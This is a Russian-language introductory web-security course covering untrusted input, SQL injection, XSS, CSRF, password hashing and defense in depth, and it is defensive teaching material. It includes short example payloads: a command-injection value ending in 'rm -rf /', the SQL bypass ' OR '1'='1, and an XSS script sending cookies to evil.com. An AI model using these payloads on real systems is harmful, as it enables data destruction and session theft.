Экспресс-курс · No. 22
Почти любая веб-уязвимость сводится к одной ошибке: доверию данным, что пришли снаружи. Атакующий управляет запросом, формой, URL, загруженным файлом — всем. Веб-безопасность — это привычка считать любой внешний ввод враждебным, пока не доказано обратное, и знать горстку классических атак, которые наказывают тех, кто об этом забыл.
21 понятие · схема у каждого · шпаргалка в конце
До любой конкретной атаки есть один принцип, который предотвращает большинство из них. Пойми эту мысль — и весь остальной курс окажется ею же, применённой в разных местах.
Карта: 21 понятие в шести группах
Карта метро: сначала видишь линии целиком, потом едешь по станциям.
Курс идёт по шести группам. Первая — одно правило «не доверяй вводу». Потом три классические атаки: Injection (ввод становится кодом на сервере), XSS (ввод становится скриптом в браузере) и CSRF (браузер обманом шлёт запрос от твоего имени). Потом — как хранить секреты и пароли. И в конце — как ограничить ущерб, когда что-то всё-таки прорвалось, плюс практика.
Как читать каждое понятие
Паспорт: одинаковые поля у всех, поэтому их легко сравнивать.
У каждого понятия дальше одно и то же: английское название (его и ищут в документации), образ из жизни, схема и карточка. У атак поля такие: что это, как работает, пример, защита, связи. У защит и принципов: проблема, идея, пример, цена, связи. Главное правило курса одно, и ты увидишь его в каждой карточке: ввод — это данные, а не код.
Untrusted Input — любой внешний ввод управляет атакующий
Пограничный пост считает каждую посылку потенциально опасной, пока не досмотрит. Он не пропускает вещи только потому, что они выглядят обычно.
Всё, что входит в систему снаружи — поля форм, URL, заголовки, загруженные файлы, вызовы API, — управляется тем, кто это прислал. А это может быть атакующий. Он может прислать что угодно, а не только то, что задумала твоя форма. Это понятие называется untrusted input (недоверенный ввод), и правило такое: считай любой внешний ввод враждебным, пока не провалидировал его. Почти каждая уязвимость в курсе — это место, где кто-то доверился вводу, которому не следовало.
- Проблема
- Код молча считает, что пришло ровно то, что задумала форма.
- Идея
- Любой внешний ввод — враждебный, пока ты его не проверил.
- Пример
В поле «имя» приходит не имя, а SQL, тег
<script>или строка на мегабайт.- Цена
- Проверки нужны на каждом входе, а не «где-нибудь».
- Связи
Где проверять — Trust Boundary; как — Input Validation и Output Escaping.
Trust Boundary — граница доверия
Стена вокруг здания с одними охраняемыми воротами. Внутри доверено, снаружи нет, и всё, что пересекает черту, проверяется на этой черте.
Граница доверия (trust boundary) — это черта между внешним миром и твоей системой. Данные, которые пересекают её внутрь, надо проверять на этой границе: оказавшись внутри, они обычно считаются безопасными. Классическая ошибка — проверять только на клиенте (в браузере) и думать, что этого хватит. Атакующий просто обходит браузер. Настоящие проверки безопасности — на сервере, на границе, которой ты реально управляешь.
- Проблема
Проверка есть только в браузере, а атакующий шлёт запрос напрямую, мимо него.
- Идея
- Провести черту «снаружи / внутри» и проверять всё на ней, на сервере.
- Пример
JS-форма не даёт ввести отрицательную сумму, но
curlсamount=-500дойдёт до сервера.- Цена
- Проверки на клиенте всё равно нужны для удобства — это дублирование.
- Связи
Здесь живёт Input Validation; клиентские проверки — удобство, не защита.
Input Validation и Output Escaping — валидируй ввод, экранируй вывод
Вышибала проверяет документы на входе — кто заходит. Переводчик следит, чтобы твои слова не прочли как команду в соседней комнате — как вещи выходят. Две разные работы.
Две привычки останавливают большинство атак. Input validation (валидация ввода): отвергай данные не той формы, что ты ждёшь, — не тот тип, слишком длинные, кривые. Output escaping (экранирование вывода): когда кладёшь данные в другой контекст — запрос к базе, HTML-страницу, команду шелла, — обезвредь всё, что там можно прочесть как код. Почти каждая атака ниже — это недоверенный ввод, который проскользнул туда, где его читают как инструкцию, а не как данные.
- Проблема
- В систему заходят данные любой формы и длины.
- Идея
Описать, что ожидаешь (тип, длина, формат), и отвергать всё остальное на границе.
- Пример
age— целое от 0 до 150;email— по формату и не длиннее 254 символов.- Цена
Валидация не делает ввод безопасным везде — на выходе всё равно нужен Output Escaping.
- Связи
- Работает на Trust Boundary; в паре с Output Escaping (глава 3).
Каждый клочок внешнего ввода управляется атакующим. Валидируй его на границе на сервере и экранируй везде, где используешь. Одно это правило предотвращает большинство атак.
Самый разрушительный класс атак — и самый простой для понимания: недоверенный ввод выполняется как код. Хрестоматийный случай — SQL-инъекция, и на ней видна вся схема.
Injection — ввод становится кодом
Форма просит твоё имя, а кто-то пишет вместо него инструкцию. Клерк читает всю строку вслух — и случайно выполняет инструкцию.
Инъекция (injection) — это когда недоверенный ввод подмешивают в команду или запрос, и он выполняется как его часть. Система собиралась использовать ввод как данные, а ввод был сделан так, чтобы его прочли как код. Корневой изъян один и тот же в SQL, командах шелла и прочем: граница между «инструкцией» и «данными пользователя» никогда не соблюдалась, и атакующий подставил свои инструкции.
- Что это
- Недоверенный ввод выполняется как часть команды или запроса.
- Как работает
Код склеивает ввод в строку, а интерпретатор (SQL, шелл…) выполняет её целиком.
- Пример
os.system("ping " + host), а вhostпришло8.8.8.8; rm -rf /.- Защита
- Передавать ввод отдельно от кода — параметрами, а не склейкой.
- Связи
- Частный случай — SQL Injection; в браузере та же идея — XSS.
SQL Injection — классический случай
Библиотечный бланк заказа, где в поле «название» кто-то пишет «…а ещё отопри все двери» — и автоматическая система послушно делает и то и другое.
В SQL-инъекции (SQL injection) атакующий печатает синтаксис базы данных в обычное поле. Если код строит запрос, склеивая ввод со строкой, ввод становится частью запроса. Так можно читать чужие данные, обойти вход или удалить таблицы. Десятилетиями это одна из самых частых и серьёзных веб-уязвимостей, и вся она — от построения запросов конкатенацией строк с недоверенным вводом.
- Что это
- Инъекция в запрос к базе данных.
- Как работает
Запрос собирают как
"... WHERE name = '" + input + "'", и ввод меняет его смысл.- Пример
Ввод
' OR '1'='1в форме входа — условие всегда истинно, проверка пароля обойдена.- Защита
- Parameterized Query — каждый раз, без исключений.
- Связи
Самый известный вид Injection; есть в OWASP Top 10 в категории Injection.
Parameterized Query — лекарство
Форма с запертыми подписанными ящиками: что бы ты ни написал в ящик «имя», это будет только именем, а не частью инструкций формы.
Лекарство — параметризованный запрос (parameterized query, prepared statement). Ты пишешь запрос с заглушками и передаёшь ввод отдельно. База сначала разбирает структуру запроса, а потом подставляет данные в слоты — поэтому ввод всегда остаётся данными, а не SQL. Ввод может быть самой мерзкой строкой, какую только можно придумать, и всё равно не изменит структуру запроса. Никогда не строй запрос склейкой ввода в строку — используй параметры каждый раз, и SQL-инъекция просто не сможет случиться.
- Проблема
- Склейка строк превращает ввод в часть SQL.
- Идея
- Сначала форма запроса с заглушками, потом данные — отдельно.
- Пример
db.query("SELECT * FROM users WHERE name = $1", [input])- Цена
Почти никакой. Подвох: имена таблиц и колонок параметром не передать — их берут из белого списка.
- Связи
Лечит SQL Injection; ORM и query builders делают это за тебя — если их не обходить.
Инъекция — это недоверенный ввод, выполненный как код. SQL-инъекция — классический случай, а параметризованные запросы — ввод как данные, без склейки — лекарство.
Если инъекция — это ввод, ставший кодом на сервере, то межсайтовый скриптинг — это ввод, ставший кодом в браузере. Он превращает твою же страницу в оружие против твоих пользователей.
XSS — ввод становится скриптом в браузере
Доска объявлений, на которую кто-то прикалывает записку с подвохом: у каждого, кто её читает, тихо обчищают карманы. Опасность приносит сама доверенная доска.
Межсайтовый скриптинг (cross-site scripting, XSS) — это когда атакующий заставляет свой JavaScript выполниться в браузере другого пользователя, на твоём сайте. Если ты берёшь ввод — комментарий, имя, профиль — и кладёшь его прямо на страницу, атакующий может прислать <script> вместо текста. И этот скрипт выполнится у каждого, кто откроет страницу. Его код действует с сессией твоего пользователя: крадёт cookie, выдаёт себя за него, портит страницу.
- Что это
Чужой JavaScript выполняется в браузере твоего пользователя на твоём сайте.
- Как работает
- Ввод кладут на страницу как HTML, без экранирования.
- Пример
Комментарий
<script>fetch('//evil.com?c='+document.cookie)</script>крадёт сессию у каждого читателя.- Защита
- Output Escaping + Content Security Policy.
- Связи
- Та же идея, что Injection, только код выполняется в браузере.
Почему XSS так опасен — он работает с доверием твоего сайта
Самозванец в доверенной форме: люди подчиняются, потому что доверяют форме — домену твоего сайта, — а не человеку внутри неё.
Вредоносный скрипт работает как твой сайт, со всем доверием, которое пользователь даёт твоему домену. Он может читать то, что видит пользователь, действовать от его имени и отправлять его данные атакующему. Браузер никак не может понять, что скрипт не твой, — он пришёл с твоей страницы. Поэтому «это всего лишь поле комментария» — знаменитые последние слова: любое место, где ввод доходит до страницы, — потенциальная дыра XSS.
Output Escaping и Content Security Policy — защита от XSS
Переводчик выводит слова каждого гостя на экран простым текстом. Даже если кто-то выкрикнет команду, она появится как безобидные слова в кавычках, а не как приказ.
Главное лекарство — экранирование вывода (output escaping): когда кладёшь пользовательские данные в HTML, превращай символы вроде < и > в безобидный текст, чтобы они показывались, а не выполнялись как разметка. Современные фреймворки делают это по умолчанию — поэтому доверься им. Сверху добавь Content Security Policy (CSP) — правило для браузера, которое ограничивает, какие скрипты вообще можно запускать. Это вторая линия защиты. Всё, что доходит до страницы, — недоверенное; обезвреживай его на выходе.
- Проблема
- Ввод на странице читается браузером как разметка и код.
- Идея
Перед выводом превращать опасные символы в безопасный текст — по правилам контекста.
- Пример
<script>становится<script>и просто видно на экране.- Цена
Экранировать надо под каждый контекст (HTML, атрибут, URL, JS); «сырой HTML» в обход фреймворка ломает защиту.
- Связи
Главная защита от XSS; вторая половина правила «валидируй ввод, экранируй вывод».
- Проблема
- Экранирование где-то забыли — и чужой скрипт выполнился.
- Идея
- Заголовок, в котором сайт говорит браузеру, какие скрипты разрешены.
- Пример
Content-Security-Policy: script-src 'self'— запрещает inline-скрипты и чужие домены.- Цена
Нужно настраивать и проверять: строгая политика может сломать сторонние виджеты.
- Связи
- Вторая линия против XSS — пример Defense in Depth.
XSS — это недоверенный ввод, который работает как скрипт в браузерах твоих пользователей, с доверием твоего сайта. Экранируй всё, что доходит до страницы, и добавь Content Security Policy.
Следующая атака ничего не внедряет. Она пользуется привычкой браузера прикреплять твои учётные данные к каждому запросу и обманом заставляет его действовать от твоего имени без твоего намерения.
CSRF — браузер обманом заставляют действовать
Кто-то подделывает твою подпись на бланке и отправляет его с твоего адреса. Банк видит правильный подписанный запрос от тебя и выполняет его, не зная, что писал не ты.
Межсайтовая подделка запроса (cross-site request forgery, CSRF) использует то, что браузер автоматически прикрепляет твои cookie — включая сессию, где ты залогинен, — к любому запросу к сайту. Атакующий кладёт на свою страницу скрытый запрос к твоему банку. Ты заходишь на неё, будучи залогиненным в банке, — и браузер отправляет запрос с твоей сессией. Банк думает, что это сделал ты. Тебя заставили действовать, хотя ты ничего не выбирал.
- Что это
- Чужой сайт заставляет твой браузер отправить запрос с твоей сессией.
- Как работает
Браузер сам прикладывает cookie к запросу на сайт, откуда бы этот запрос ни пришёл.
- Пример
На evil.com скрытая форма с
POST bank.com/transfer?to=attacker, отправляется автоматически.- Защита
- CSRF Token + SameSite Cookie.
- Связи
- Частный случай Confused Deputy.
Confused Deputy — проблема запутанного посредника
Доверенный помощник с ключами, которого поддельной запиской уговорили открыть хранилище. Власть у помощника была — его обманом заставили применить её для другого.
CSRF — это атака «запутанного посредника» (confused deputy): твой браузер держит настоящую власть (твою сессию), и его обманом заставляют применить её для атакующего. Сервер не может отличить подделку: запрос выглядит ровно как настоящий — те же cookie, тот же пользователь. Изъян не в украденных паролях. Изъян в том, что правильный запрос запустил кто-то другой, и ничто не доказало твоё намерение.
- Что это
Программа с правами, которую обманом заставили использовать их по чужой просьбе.
- Как работает
Сервер проверяет только «кто» (cookie), но не «хотел ли он этого».
- Пример
- Браузер с твоей сессией выполняет форму, которую подсунул evil.com.
- Защита
- Требовать доказательство намерения, а не только наличие прав.
- Связи
CSRF — самый известный пример; лечится CSRF Token и SameSite.
CSRF Token и SameSite Cookie — доказать намерение
Банк требует к каждому переводу одноразовый код, напечатанный только в твоей выписке. Поддельный запрос откуда-то ещё не может его знать — и его отклоняют.
Лекарство — требовать доказательство, что запрос сделала твоя страница. CSRF-токен (CSRF token) — секретное значение, которое сайт вставляет в свои формы и проверяет при отправке. Страница атакующего его не знает, и поддельный запрос проваливается. Современное дополнение — атрибут cookie SameSite: он говорит браузеру не отправлять сессионную cookie с запросами, которые пришли с других сайтов. Вместе они гарантируют, что важное действие пришло с твоего сайта и по твоему намерению.
- Проблема
- Сервер не может отличить твою форму от поддельной.
- Идея
Секрет в каждой форме твоего сайта; сервер принимает запрос, только если секрет совпал.
- Пример
Скрытое поле
<input name="csrf" value="a8f3…">, его сверяют с сессией.- Цена
- Нужно добавлять во все формы и запросы, которые что-то меняют.
- Связи
Защита от CSRF; фреймворки обычно делают это за тебя. В паре с SameSite Cookie.
- Проблема
- Браузер прикладывает cookie к запросам с любых сайтов.
- Идея
Пометить сессионную cookie, чтобы браузер не слал её в межсайтовых запросах.
- Пример
Set-Cookie: session=…; SameSite=Lax; Secure; HttpOnly- Цена
- Это дополнение, а не замена токену: зависит от браузера и настроек.
- Связи
Вместе с CSRF Token закрывает CSRF — снова Defense in Depth.
CSRF обманом заставляет твой браузер отправить запрос с твоей сессией. Доказывай намерение CSRF-токеном и SameSite-cookie, чтобы поддельные межсайтовые запросы отклонялись.
Некоторые данные настолько чувствительны, что сам способ их хранения — уже решение о безопасности. Пароли — классический пример, и на них видна разница между двумя словами, которые постоянно путают.
Plaintext Passwords — никогда не храни пароли открытым текстом
Список ключей от всех домов в незапертом ящике на ресепшене. Один взлом — и открыт каждый дом. Удобство и есть катастрофа.
Если хранить пароли читаемым текстом (plaintext), то любой, кто добрался до базы — через утечку, взлом, инсайдера, — сразу получает пароль каждого пользователя. А поскольку люди повторяют пароли, ты подставил и их другие аккаунты. Хранить пароль открытым текстом — одна из самых серьёзных и базовых ошибок веб-безопасности. Эти данные слишком опасны, чтобы держать их в виде, который ты можешь прочесть.
Hashing vs Encryption — хеширование одностороннее, шифрование двустороннее
Шредер против запертого ящика. Ящик можно открыть и достать оригинал. Шредер превращает бумагу в конфетти, которое не собрать, — но один и тот же лист всегда режется одинаково.
Это различие надо запомнить. Шифрование (encryption) обратимо: с ключом ты превращаешь зашифрованные данные обратно в оригинал. Его берут для данных, которые нужно снова читать, — например, сохранённый API-ключ. Хеширование (hashing) одностороннее: оно превращает ввод в отпечаток фиксированной длины, который нельзя развернуть обратно, но один и тот же ввод всегда даёт один и тот же отпечаток. Они решают разные задачи, и путать их — классическая ошибка.
- Шифрование
- Двустороннее: с ключом можно прочитать обратно.
- Хеширование
- Одностороннее: отпечаток не развернуть, можно только сравнить.
- Пример
API-ключ партнёра — шифруем (он нужен в запросах). Пароль — хешируем (его нужно только проверить).
- Подвох
- «Зашифрованные пароли» — ошибка: украдут ключ — прочитают все пароли.
- Связи
- Для паролей — хеширование с Salt и медленным алгоритмом.
Salt и медленный хеш — как хранить пароли правильно
Проверка восковой печати: письмо не нужно, чтобы её проверить, — ставишь печать заново и сравниваешь оттиски. Совпадение подтверждено, а сам секрет нигде не хранится.
Пароли хешируют, потому что сам пароль тебе обратно не нужен — его нужно только проверить. Храни хеш; при входе хешируй то, что ввели, и сравни. Утечка сольёт отпечатки, а не пароли. Добавь соль (salt) — уникальное случайное значение для каждого пароля, — чтобы одинаковые пароли давали разные хеши, а заранее посчитанные таблицы атак не работали. И бери медленный, специально созданный хеш для паролей (вроде bcrypt или Argon2), а не быстрый общий — чтобы перебор был дорогим.
- Проблема
Быстрый хеш без соли: одинаковые пароли видны сразу, а перебор и готовые таблицы работают.
- Идея
Уникальная соль на каждый пароль + намеренно медленный алгоритм для паролей.
- Пример
Регистрация:
hash = argon2(password, salt). Вход: хешируем введённое с той же солью и сравниваем.- Цена
- Вход чуть медленнее — это и есть смысл: атакующему ещё медленнее.
- Связи
Применение Hashing; при утечке ограничивает ущерб, как Defense in Depth.
Никогда не храни пароли открытым текстом. Шифрование обратимо — для данных, которые нужно читать. Хеширование одностороннее — для данных, которые только проверяешь. Пароли — хешируй, с солью, медленным алгоритмом.
Кроме конкретных атак, есть принципы, которые ограничивают ущерб, когда что-то всё же прорвалось. В безопасности ты исходишь из того, что рано или поздно прорвётся.
Least Privilege — наименьшие привилегии
Гостиничная карта-ключ открывает только твой номер и спортзал, а не все двери в здании. Потеряешь её — ущерб ограничен тем, куда она пускала.
Наименьшие привилегии (least privilege) означают, что каждый пользователь, сервис и учётная запись получают только минимум доступа, нужный для их работы, — и ничего больше. Учётка базы, под которой работает веб-приложение, не должна уметь удалять таблицы, если она только читает и пишет строки. Тогда, если что-то взломают — а исходи из того, что взломают, — радиус поражения (blast radius) будет маленьким: только то, что было разрешено этой одной части. Слишком широкие права превращают маленький прорыв в тотальный.
- Проблема
- Одна взломанная часть получает доступ ко всему.
- Идея
- Каждой части — минимум прав для её работы.
- Пример
Пользователь БД для приложения:
SELECT, INSERT, UPDATEна свои таблицы, безDROPи без суперпользователя.- Цена
- Права надо продумать и поддерживать; «дать админа» всегда проще.
- Связи
Один из слоёв Defense in Depth; в OWASP — Broken Access Control.
Defense in Depth — слои, а не одна стена
Замок со рвом, стеной, воротами и стражей. Ни один барьер не считается идеальным, и каждый ловит то, что пропустил предыдущий.
Защита вглубь (defense in depth) — это несколько независимых защит одна за другой, чтобы один отказ не был фатальным. Валидируй ввод и используй параметризованные запросы и работай с наименьшими привилегиями и экранируй вывод. Любая одна защита может отказать или быть обойдена. Вместе они требуют от атакующего пробить их все сразу. Безопасность — это не одна идеальная стена, а перекрывающие друг друга обычные защиты, каждая из которых допускает, что другие могут отказать.
- Проблема
- Одна защита когда-нибудь откажет — и тогда всё открыто.
- Идея
- Несколько независимых слоёв, каждый ловит то, что пропустил другой.
- Пример
Экранирование забыли в одном шаблоне — но CSP не даёт скрипту выполниться.
- Цена
- Больше настроек и проверок; часть работы «дублируется» намеренно.
- Связи
Собирает вместе Input Validation, Parameterized Query, Output Escaping, CSP, Least Privilege.
Information Leakage — не выдавай подсказок в ошибках
Запертая дверь, которая, когда её дёргают, услужливо сообщает: «не тот ключ — настоящий латунный и слегка погнутый». И этим объясняет взломщику, как войти.
Подробные ошибки и слишком щедрые ответы дают атакующему карту. Это называют утечкой информации (information leakage). Вход, который пишет «неверный пароль» (а не «нет такого пользователя»), подтверждает, какие аккаунты существуют. Стек-трейс показывает фреймворк, версии и устройство запросов. Показывай пользователю общее сообщение, детали пиши в закрытые логи и никогда не отдавай больше данных, чем нужно клиенту. Тихий отказ — это не просто аккуратно: он лишает атакующего разведки, которая облегчает следующий шаг.
- Что это
- Ошибки и ответы рассказывают атакующему, как устроена система.
- Пример
«Нет такого пользователя» против «неверный пароль»; стек-трейс с
db.py:42и версией базы.- Защита
Общее сообщение («неверный email или пароль»), детали — в логи, в ответе только нужные поля.
- Подвох
- Режим отладки, случайно включённый в продакшене.
- Связи
В OWASP Top 10 — Security Misconfiguration; ещё один слой Defense in Depth.
Исходи из того, что что-то прорвётся. Наименьшие привилегии ограничивают ущерб, защита вглубь делает так, что ни один отказ не фатален, а тихие ошибки лишают атакующего карты.
Безопасность — это практика, вплетённая в то, как ты строишь, а не фича, прикрученная в конце. Привычек немного, и большинство из них — то самое одно правило, применённое с дисциплиной.
Secure Defaults и Patching — опирайся на фреймворк и обновляйся
Ты не куёшь свои замки — ты ставишь проверенные и меняешь их, когда объявлен изъян. Самодельный замок почти всегда хуже.
Большинство классических атак уже решены зрелыми фреймворками и библиотеками: они экранируют вывод, параметризуют запросы и обрабатывают CSRF-токены за тебя — если пользоваться ими как задумано, а не обходить. Это безопасные настройки по умолчанию (secure defaults). А поскольку уязвимости в зависимостях находят постоянно, держи их обновлёнными (patching): непропатченная библиотека — один из самых частых путей внутрь. Не изобретай свою криптографию или своё экранирование — бери проверенные инструменты и держи их свежими.
- Проблема
Самодельная криптография и экранирование с дырами; старые библиотеки с известными уязвимостями.
- Идея
Пользоваться встроенной защитой фреймворка как задумано и регулярно обновлять зависимости.
- Пример
Шаблонизатор экранирует сам; ORM параметризует; бот вроде Dependabot предлагает обновления.
- Цена
Обновления надо тестировать; обход фреймворка («сырой» HTML/SQL) ломает защиту.
- Связи
Даёт Output Escaping, Parameterized Query, CSRF Token «бесплатно».
OWASP Top 10 — карта самых частых уязвимостей
Предполётный чек-лист существует потому, что одни и те же несколько сбоев вызывают большинство аварий. Их проверяют каждый раз, а не открывают заново в воздухе.
Не надо придумывать каждую угрозу самому. OWASP Top 10 — это отраслевой список самых частых и серьёзных веб-уязвимостей: инъекции, сломанный контроль доступа и другие. Он работает как чек-лист. Пройди по нему своё приложение — и поймаешь категории, на которые приходится подавляющее большинство реальных взломов. Пользоваться известной картой лучше, чем надеяться, что сам обо всём подумал.
- Что это
- Отраслевой рейтинг самых частых и опасных классов веб-уязвимостей.
- Как пользоваться
Как чек-листом: пройти по каждой категории для своего приложения.
- Пример
Категория Injection — проверить, что все запросы параметризованы, а вывод экранирован.
- Подвох
- Это минимум, а не полная гарантия безопасности.
- Связи
- Объединяет всё в курсе: от Injection до Least Privilege.
Как всё связано
Дом защищают сразу замок, сигнализация и сейф — не «одна правильная мера».
В центре — одно правило «никогда не доверяй вводу», проверенное на границе доверия. Из него растут три защиты от трёх атак: параметризованные запросы против Injection, экранирование и CSP против XSS, токен и SameSite против CSRF. А на случай, если что-то всё же прорвётся, — хеширование с солью (утечка не выдаст пароли), наименьшие привилегии (взлом одной части не даст всего) и защита вглубь (отказ одного слоя не фатален). Сверху над всем — OWASP Top 10 как чек-лист.
- Где входит внешний ввод, и валидирован ли он на границе на сервере?
- Запросы — параметризованы, никогда не собраны склейкой ввода?
- Вывод на страницу — экранирован, чтобы ввод не выполнился как скрипт?
- Действия, которые что-то меняют — защищены от CSRF токеном и SameSite?
- Чувствительные данные — пароли хешированы с солью, секреты не лежат открытым текстом?
- Наименьшие привилегии — у каждой части только тот доступ, что ей нужен?
- Ты считаешь любой внешний ввод враждебным и проверяешь его на сервере, на границе.
- Запросы параметризованы, вывод на страницу экранирован — по умолчанию, через фреймворк.
- Запросы, которые что-то меняют, несут CSRF-токен, а cookie — SameSite.
- Пароли хешированы с солью; ничего чувствительного не хранится открытым текстом.
- Каждая часть работает с наименьшими привилегиями, зависимости обновлены, и ты сверяешься с OWASP Top 10.
Шпаргалка: все 21 понятие
Одно правило
- Untrusted Inputнедоверенный ввод
Всё, что пришло снаружи, контролирует атакующий. Враждебно, пока не проверено.
- Trust Boundaryграница доверия
Черта «снаружи / внутри». Проверки — на ней, на сервере, а не в браузере.
- Input Validationвалидация ввода
Отвергай всё, что не той формы: тип, длина, формат.
Injection
- Injectionинъекция
Ввод склеен с командой и выполняется как код.
- SQL InjectionSQL-инъекция
Инъекция в запрос к базе:
' OR '1'='1и база отдаёт всё.- Parameterized Queryprepared statement
Запрос и данные раздельно — ввод всегда остаётся данными.
XSS
- XSSCross-Site Scripting
Чужой скрипт в браузере пользователя с доверием твоего сайта.
- Output Escapingэкранирование вывода
<→<: ввод показывается как текст, а не выполняется.- Content Security PolicyCSP
Заголовок: какие скрипты браузеру разрешено запускать. Вторая линия.
CSRF
- CSRFCross-Site Request Forgery
Чужой сайт шлёт запрос через твой браузер с твоей cookie.
- Confused Deputyзапутанный посредник
Того, у кого есть права, обманом заставили применить их для другого.
- CSRF Tokenanti-CSRF token
Секрет в твоих формах: поддельный запрос его не знает.
- SameSite Cookieатрибут cookie
Браузер не прикладывает cookie к межсайтовым запросам.
Секреты и пароли
- Plaintext Passwordsоткрытый текст
Антипаттерн: одна утечка — все пароли и чужие аккаунты.
- Hashing vs Encryptionхеш / шифр
Хеш — односторонний, только сравнить. Шифр — с ключом можно прочитать.
- Salted Password Hashingsalt + bcrypt / Argon2
Соль на каждый пароль + медленный алгоритм: перебор дорогой.
Сдерживание и практика
- Least Privilegeнаименьшие привилегии
Минимум прав — маленький радиус поражения.
- Defense in Depthзащита вглубь
Несколько независимых слоёв; ни один отказ не фатален.
- Information Leakageутечка через ошибки
Общие сообщения пользователю, детали — в закрытые логи.
- Secure Defaults + Patchingфреймворк и обновления
Используй защиту фреймворка как задумано и обновляй зависимости.
- OWASP Top 10карта уязвимостей
Отраслевой список самых частых уязвимостей — как чек-лист.
Веб-безопасность — это в основном одно правило, применённое с дисциплиной: никогда не доверяй вводу. Валидируй на границе, экранируй на выходе, храни секреты безопасно и наслаивай защиты на случай, если что-то проскользнёт.